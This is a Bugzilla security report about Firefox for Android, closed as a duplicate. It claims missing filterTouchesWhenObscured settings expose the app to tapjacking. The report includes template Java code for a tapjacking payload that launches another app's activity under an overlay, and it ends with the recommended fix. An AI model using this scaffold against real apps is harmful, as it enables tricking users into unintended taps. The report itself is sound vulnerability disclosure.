1199633 - tapjacking Protection missing on button tags android app (firefox browser)

Status: RESOLVED DUPLICATE of bug 1147265

(Firefox for Android Graveyard :: General, defect)

Description

[Paresh]

Attachment: Screenshot (1185).png

User Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36

Steps to reproduce:

Vulnerable App:  https://play.google.com/store/apps/details?id=org.mozilla.firefox
Firefox browser for android .

Poc:

In your AndroidManifest xml file (line 162).
There's parameter Called : 'android Exported' which is set as TRUE.

when is set to “true” means that a third application can call the activity flagged with this attribute and interact with it.

This is the desired scenario for Your application, the possibility to “infect” external apps foreign to the system.

Next step is define a new function with the content of our attack. You can use the following template, being only necessary to modify the line “positions.add(new Point(350, 610))” with your desired coordinates and the payload logic.

public class ThirdAppPayload extends FrameworkPayload {
public ThirdAppPayload() {
for(int i=0; i<=6; i++)
positions.add(new Point(350, 610)); // Here you can specify where to set the image
}
[@Override](/override)
public Intent getIntent() {
Intent intent = new Intent(Intent.ACTION_VIEW);
ComponentName distantActivity = new ComponentName("com.third.exampleapp", "com.third.exampleapp.StartupClass");
intent.setComponent(distantActivity);
intent.setAction(Intent.ACTION_MAIN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
return intent;
}
[@Override](/override)
public int getSleep() {
return 1000;
}
}

Where we need to find the following information for the application we want to start:
Package name –“com.third.exampleapp”
Startup class – “com.third.exampleapp.StartupClass”

This information is possible to obtain if you start third-app regularly, and in the LogCat inspect the trace, for example.

After that, we have to add the following code on the “Main.java” file.

public void thirdAppPayload(View v) {
FrameworkService.setLoad(new ThirdAppPayload());
startService(new Intent(FrameworkService.class.getName()));
}

And this on the layout file “main.xml”:

<Button android:text="@string/thirdAppPayload"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="thirdAppPayload"
android:layout_gravity="center"
android:layout_marginTop="6dip"></Button>

FIX:

Implement "setfilterToucheswhenObscured=true" for button tags in layout->xml files or write this in the code for buttons

public class MyActivity extends Activity {
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
final Button myButton = (Button)findViewById(R.id.button_id);
myButton.setFilterTouchesWhenObscured(true);
myButton.setOnClickListener(new View.OnClickListener() {
// Perform action on click
}
}
}

i hope this helps you

Thanks
Paresh


Actual results:

your buttton tags dont have "filterTouchesWhenObscured='true"..

UI Redressing (Tap jacking) attack may trick users into tapping a specifically crafted malicious App popup window (e.g. toast view), making it a gateway for varied threats such as framing attack. Using this technique, a malicious App could potentially trick a user into making purchases, clicking on ads, installing Apps, or even wiping all of the data from the phone.


Expected results:

Browser should not allow other activity on frame